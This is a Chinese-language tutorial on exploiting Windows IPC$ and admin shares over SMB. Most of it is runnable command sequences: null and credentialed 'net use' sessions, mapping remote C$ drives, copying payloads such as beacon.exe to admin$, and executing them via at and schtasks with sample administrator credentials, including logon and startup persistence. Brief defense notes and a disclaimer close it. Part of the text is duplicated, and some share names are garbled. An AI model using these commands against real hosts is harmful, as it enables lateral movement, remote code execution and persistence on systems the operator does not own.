IPC$共享利用姿势
字数 931 2025-08-26 22:11:40

IPC$共享利用全面指南

1. IPC$共享基础概念

1.1 IPC$定义与作用

IPC$(Internet Process Connection)是共享"命名管道"的资源,用于进程间通信,允许两个进程通过它进行数据交互。主要用途包括:

  • 远程管理计算机
  • 查看计算机共享资源
  • 获取目标主机信息

1.2 默认共享情况

  • 系统安装后默认开启各盘符共享(C\(, D\)等)
  • 系统目录共享(Admin$对应C:\Windows)
  • 这些共享默认只对管理员开放权限

1.3 安全限制

  • 默认禁用空密码用户连接
  • 现代Windows系统默认禁用Administrator账户
  • 创建普通用户并加入管理组是默认配置

2. 利用前提条件

2.1 端口要求

  • 139端口:NetBIOS协议端口
  • 445端口:SMB协议端口
    • 如果目标未开放这些端口,IPC$连接会失败

2.2 协议说明

  • SMB协议(445端口):Windows文件打印共享服务使用
  • NetBIOS协议(139端口):局域网程序API接口

3. 核心命令集

3.1 连接管理命令

# 建立空连接
net use \\127.0.0.1\ipc$ "" /user:""

# 建立完整认证连接
net use \\127.0.0.1\ipc$ "password" /user:"username"

# 删除IPC$连接
net use \\127.0.0.1\ipc$ /del

3.2 共享映射命令

# 映射目标C盘为本地Z盘
net use z: \\127.0.0.1\c$ "密码" /user:"用户名"

# 删除映射
net use z: /del

# 删除所有映射
net use * /del

3.3 域环境命令

net use \\目标IP\ipc$ "域成员密码" /user:域名\域成员账号
dir \\域名\c$
copy test.exe \\域名\c$

3.4 信息收集命令

net share                  # 查看本地共享
net view \\目标IP          # 查看目标共享
netstat -A 目标IP          # 获取目标端口列表
netstat -ano | findstr "端口号"  # 查看端口对应PID
tasklist | findstr "PID"   # 查看进程对应程序

4. 空连接利用

4.1 空连接特点

  • 不需要账号密码即可建立连接
  • 权限极低,现代系统中几乎无用
  • Windows 2003后空连接无任何权限

4.2 可用场景

  • 在Windows 2000中可查看系统时间
  • 现代系统(如Win7)中连时间都无法查看

5. 实用攻击手法

5.1 基本入侵流程

# 建立连接
net use \\目标IP\IPC$ "密码" /user:"管理员账号"

# 上传恶意程序
copy test.exe \\目标IP\admin$

# 查看目标时间(用于定时任务)
net time \\目标IP

# 设置定时任务执行
at \\目标IP 11:05 test.exe

5.2 文件系统操作

# 查看目标文件
dir \\192.168.52.130\c$

# 映射目标盘符
net use k: \\192.168.52.130\c$ /u:"administrator" "123456"

5.3 进程管理

# 查看目标进程
tasklist /S 192.168.52.130 /U administrator -P 123456

6. 计划任务利用

6.1 at命令(旧系统)

at \\192.168.135.5 13:20:00 cmd.exe /c "c:\beacon.exe"

6.2 schtasks命令(现代系统)

# 创建计划任务
schtasks /create /s 目标IP /u 用户名 /p 密码 /tn 任务名 /tr 程序路径 /sc once /st 执行时间

# 示例
schtasks /create /s 192.168.52.130 /u administrator /p 123456 /tn test_crow /tr c:/artifact.exe /sc once /st 15:29

# 查询任务
schtasks /query /s 192.168.52.130 /u administrator /p 123456 /tn test_crow

# 删除任务
schtasks /delete /s 192.168.52.130 /u administrator /p 123456 /tn test_crow

6.3 schtasks高级参数

/sc 计划类型(MINUTE, HOURLY, DAILY, WEEKLY, ONCE, ONSTART, ONLOGON, ONIDLE)
/mo 运行间隔(数字或FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY)
/ru 运行账户(如system)
/f 强制创建不提示

6.4 常见触发条件

/sc onlogon   # 用户登录时启动
/sc onstart   # 系统启动时启动
/sc onidle    # 系统空闲时启动

7. 痕迹与防御

7.1 攻击痕迹

  • 计划任务日志:C:\Windows\Tasks\SchedLgU.txt
  • 系统日志中会记录相关事件

7.2 防御建议

  • 禁用不必要的共享(C\(, Admin\)等)
  • 使用复杂密码策略
  • 监控异常的计划任务创建
  • 限制空会话连接
  • 定期检查系统共享状态

8. 密码获取参考

  • 密码破解技术
  • 凭证转储方法
  • 中间人攻击手段

注意:本文仅用于安全研究目的,未经授权使用这些技术可能违反法律。

IPC$共享利用全面指南 1. IPC$共享基础概念 1.1 IPC$定义与作用 IPC$(Internet Process Connection)是共享"命名管道"的资源,用于进程间通信,允许两个进程通过它进行数据交互。主要用途包括: 远程管理计算机 查看计算机共享资源 获取目标主机信息 1.2 默认共享情况 系统安装后默认开启各盘符共享(C$, D$等) 系统目录共享(Admin$对应C:\Windows) 这些共享默认只对管理员开放权限 1.3 安全限制 默认禁用空密码用户连接 现代Windows系统默认禁用Administrator账户 创建普通用户并加入管理组是默认配置 2. 利用前提条件 2.1 端口要求 139端口 :NetBIOS协议端口 445端口 :SMB协议端口 如果目标未开放这些端口,IPC$连接会失败 2.2 协议说明 SMB协议 (445端口):Windows文件打印共享服务使用 NetBIOS协议 (139端口):局域网程序API接口 3. 核心命令集 3.1 连接管理命令 3.2 共享映射命令 3.3 域环境命令 3.4 信息收集命令 4. 空连接利用 4.1 空连接特点 不需要账号密码即可建立连接 权限极低,现代系统中几乎无用 Windows 2003后空连接无任何权限 4.2 可用场景 在Windows 2000中可查看系统时间 现代系统(如Win7)中连时间都无法查看 5. 实用攻击手法 5.1 基本入侵流程 5.2 文件系统操作 5.3 进程管理 6. 计划任务利用 6.1 at命令(旧系统) 6.2 schtasks命令(现代系统) 6.3 schtasks高级参数 6.4 常见触发条件 7. 痕迹与防御 7.1 攻击痕迹 计划任务日志:C:\Windows\Tasks\SchedLgU.txt 系统日志中会记录相关事件 7.2 防御建议 禁用不必要的共享(C$, Admin$等) 使用复杂密码策略 监控异常的计划任务创建 限制空会话连接 定期检查系统共享状态 8. 密码获取参考 密码破解技术 凭证转储方法 中间人攻击手段 注意:本文仅用于安全研究目的,未经授权使用这些技术可能违反法律。